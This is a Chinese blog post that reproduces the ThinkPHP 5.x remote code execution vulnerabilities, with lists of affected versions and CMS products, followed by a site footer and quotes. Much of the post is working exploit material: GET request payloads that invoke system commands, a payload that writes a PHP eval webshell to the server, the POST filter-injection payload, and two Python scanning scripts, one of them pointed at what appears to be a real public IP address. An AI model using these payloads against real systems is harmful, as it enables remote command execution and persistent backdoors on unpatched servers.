ThinkPHP 5.x 远程代码执行


title: ThinkPHP 5.x 远程代码执行
date: 2020-03-25 17:27:18
tags:

- ThinkPHP
- RCE

categories: 漏洞复现

toc: true

ThinkPHP 5.x版本是官方于2015年发布的新一代框架,其中5.0版本于2016年的9月份布。ThinkPHP 5.x版本曝出多个远程代码执行漏洞。

ThinkPHP 5.x 代码执行

  • GET:框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
  • POST:本次漏洞触发点在Request.php文件里的method方法中,该方法的功能主要是判断请求类型。

漏洞影响

GET

目前漏洞影响版本号包括:

5.x < 5.1.31, <= 5.0.23

POST

目前漏洞影响版本号包括:

5.x <= 5.0.23

以下基于ThinkPHP 5 二次开发的内容管理系统,很可能受到该漏洞影响,建议厂商及时更新。

AdminLTE后台管理系统
layui后台管理系统
thinkcmf
H-ui.admin后台管理系统
tpshop
FsatAdmin
eyoucms
LarryCMS后台管理系统
tpadmin后台管理系统
snake后台管理系统
ThinkSNS
DolphinPHP后台管理系统
WeMall商城系统
CLTPHP
齐博CMS
DSMALL
YFCMF
HisiPHP后台管理系统
Tplay后台管理系统
lyadmin后台管理系统
haoid后台管理系统

总结

GET和POST方式为两种不同的代码执行漏洞。

POC Get方式

  • ThinkPHP5-RCE Version: 5.0.20/5.1.29/5.0.21/5.0.22/
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests


def poc(url):  # 验证 是否存在
    if 'http://' not in url and 'https://' not in url:
        url = 'http://' + url
    poc1 = '/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1'
    poc2 = '/index.php?s=index/\\think\\app/invokefunction&function=phpinfo&vars[0]=100'
    cmd = '/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami'
    shell = '/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[c]);?>'
    try:
        response = requests.get(url+poc1)
        if response.status_code ==200 and 'SERVER_NAME' in response.text:
            return 'PayLoad : \n{0}\n{1}\n{2}\n{3}'.format(poc1,poc2,cmd,shell)
        else:
            response = requests.get(url+poc2)
            if response.status_code ==200 and 'SERVER_NAME' in response.text:
                return 'PayLoad : \n{0}\n{1}\n{2}'.format(poc2,cmd,shell)
            else:return False
    except Exception as e:
        print(e)
        return False


def attack(str): #攻击模块
    return False

c = poc('https://39.105.137.230/')
print(c)

POC POST方式

  • 5.x <= 5.0.23
url/index.php?s=captcha

POST data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys


def poc(url):  # 验证 是否存在
    if 'http://' not in url and 'https://' not in url:
        url = 'http://' + url + '/index.php?s=captcha'
    data = '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 44899742450bdb319a869ed7438a61c6'
    headers = {
        "User-Agent":"Mozilla/5.0(X11;Linuxx86_64;rv:67.0)Gecko/20100101 Firefox/67.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding":"gzip,deflate",
        "Content-Type":"application/x-www-form-urlencoded",
        "Connection":"keep-alive",
        "Referer":"http://127.0.0.1:8080//index.php?s=captcha0",
        "Cookie":"JSESSIONID=F7494C874B4E613FB6E023109349554A",
        "X-Forwarded-For":"192.168.201.21",
        }
    url = url + '/index.php?s=captcha'
    try:
        response = requests.post(url, data=data, headers=headers)
        if  response.status_code == 200 and '44899742450bdb319a869ed7438a61c6' in response.text:
            return '存在ThinkPHP5-RCE'
    except Exception as e:
        print(e)
        return False


def attack(str): #攻击模块
    return False

url = sys.argv[1]
s = poc(url)
print(s)

具体的版本已实际测试为准。

所有原创文章采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。
您可以自由的转载和修改,但请务必注明文章来源并且不可用于商业目的。
本站部分内容收集于互联网,如果有侵权内容、不妥之处,请联系我们删除。敬请谅解!

评论已关闭

要铭记在心:每天都是一年中最美好的日子。

生活远没有咖啡那么苦涩,关键是喝它的人怎么品味!每个人都喜欢和向往随心所欲的生活,殊不知随心所欲根本不是生活。

如果错过了太阳时你流泪了,那么你也要错过群星了。

不如意的时候不要尽往悲伤里钻,想想有笑声的日子吧。

我不明白为什么要那么在意别人的看法,评头论足只是无聊人的消遣,何必看得如临大敌。如果你不吃别人家的饭,就别太把别人的话放在心上。